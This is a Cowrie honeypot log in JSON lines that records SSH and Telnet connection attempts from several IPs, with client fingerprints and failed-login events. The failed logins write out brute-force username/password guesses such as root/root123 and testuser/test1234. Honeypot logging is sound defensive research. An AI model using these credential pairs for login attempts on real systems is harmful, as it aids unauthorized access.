{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:45.881215Z","src_ip":"91.92.40.36","session":"a24130698edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:45.887473Z","src_ip":"103.84.236.242","session":"f6d0698d24a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:46.870146Z","src_ip":"103.84.236.242","session":"f6d0698d24a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.936195373535156,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:47.728626Z","src_ip":"172.81.62.90","session":"3cacd3f32f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:48.109669Z","src_ip":"103.84.236.242","session":"f6d0698d24a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43468,"dst_ip":"10.17.0.5","dst_port":22,"session":"956f75ff8e4d","protocol":"ssh","message":"New connection: 91.92.40.36:43468 (10.17.0.5:22) [session: 956f75ff8e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:49.712381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:49.894260Z","src_ip":"91.92.40.36","session":"956f75ff8e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:49.899168Z","src_ip":"91.92.40.36","session":"956f75ff8e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.281776428222656,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:50.316813Z","src_ip":"107.6.151.170","session":"988b5284accd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"andrew","message":"login attempt [andrew/andrew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:51.522716Z","src_ip":"91.92.40.36","session":"956f75ff8e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.66408157348633,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:52.758357Z","src_ip":"172.81.62.90","session":"dc5d106d5ff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:52.876128Z","src_ip":"91.92.40.36","session":"956f75ff8e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.9843852519989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:56.380665Z","src_ip":"107.6.151.170","session":"b659fbbff365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61230,"dst_ip":"10.17.0.5","dst_port":22,"session":"e678c347bea5","protocol":"ssh","message":"New connection: 91.92.40.36:61230 (10.17.0.5:22) [session: e678c347bea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:59.073778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:59.308541Z","src_ip":"91.92.40.36","session":"e678c347bea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:00.411840Z","src_ip":"91.92.40.36","session":"e678c347bea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:04.267497Z","src_ip":"91.92.40.36","session":"e678c347bea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61250,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec403eb73f6c","protocol":"ssh","message":"New connection: 91.92.40.36:61250 (10.17.0.5:22) [session: ec403eb73f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:05.157726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:05.277169Z","src_ip":"91.92.40.36","session":"ec403eb73f6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:05.280915Z","src_ip":"91.92.40.36","session":"ec403eb73f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42608,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cf854582e45","protocol":"telnet","message":"New connection: 172.81.62.90:42608 (159.203.135.109:23) [session: 2cf854582e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:05.623848Z"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:06.432014Z","src_ip":"91.92.40.36","session":"ec403eb73f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:06.645781Z","src_ip":"91.92.40.36","session":"e678c347bea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:07.891888Z","src_ip":"91.92.40.36","session":"ec403eb73f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.87092924118042,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.105734Z","src_ip":"172.81.62.90","session":"d1aed86fc117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28312,"dst_ip":"10.17.0.5","dst_port":22,"session":"d81c3dfa8d35","protocol":"ssh","message":"New connection: 91.92.40.36:28312 (10.17.0.5:22) [session: d81c3dfa8d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.127123Z"}
{"eventid":"cowrie.session.closed","duration":44.19518828392029,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.344965Z","src_ip":"128.199.8.54","session":"dace9470f0bf","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.518273Z","src_ip":"91.92.40.36","session":"d81c3dfa8d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.521232Z","src_ip":"91.92.40.36","session":"d81c3dfa8d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":35954,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c14bf4f0ea","protocol":"ssh","message":"New connection: 45.123.217.22:35954 (10.17.0.5:22) [session: 52c14bf4f0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.653624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.659209Z","src_ip":"45.123.217.22","session":"52c14bf4f0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:12.879869Z","src_ip":"45.123.217.22","session":"52c14bf4f0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lf123456@","message":"login attempt [root/Lf123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:13.821635Z","src_ip":"45.123.217.22","session":"52c14bf4f0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:14.874107Z","src_ip":"91.92.40.36","session":"d81c3dfa8d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:15.049975Z","src_ip":"45.123.217.22","session":"52c14bf4f0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:16.024506Z","src_ip":"91.92.40.36","session":"d81c3dfa8d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40638,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f46108cc74c","protocol":"ssh","message":"New connection: 91.92.40.36:40638 (10.17.0.5:22) [session: 1f46108cc74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:19.608550Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":39382,"dst_ip":"159.203.135.109","dst_port":22,"session":"053309417796","protocol":"ssh","message":"New connection: 129.146.243.24:39382 (159.203.135.109:22) [session: 053309417796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:19.683069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:19.687428Z","src_ip":"129.146.243.24","session":"053309417796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:19.784753Z","src_ip":"129.146.243.24","session":"053309417796","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:20.059701Z","src_ip":"91.92.40.36","session":"1f46108cc74c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:20.062510Z","src_ip":"91.92.40.36","session":"1f46108cc74c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:20.197220Z","src_ip":"129.146.243.24","session":"053309417796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":36602,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5f92c60f2d","protocol":"ssh","message":"New connection: 14.63.196.175:36602 (159.203.135.109:22) [session: 1b5f92c60f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:21.208930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:21.213040Z","src_ip":"14.63.196.175","session":"1b5f92c60f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:21.290880Z","src_ip":"129.146.243.24","session":"053309417796","protocol":"ssh"}
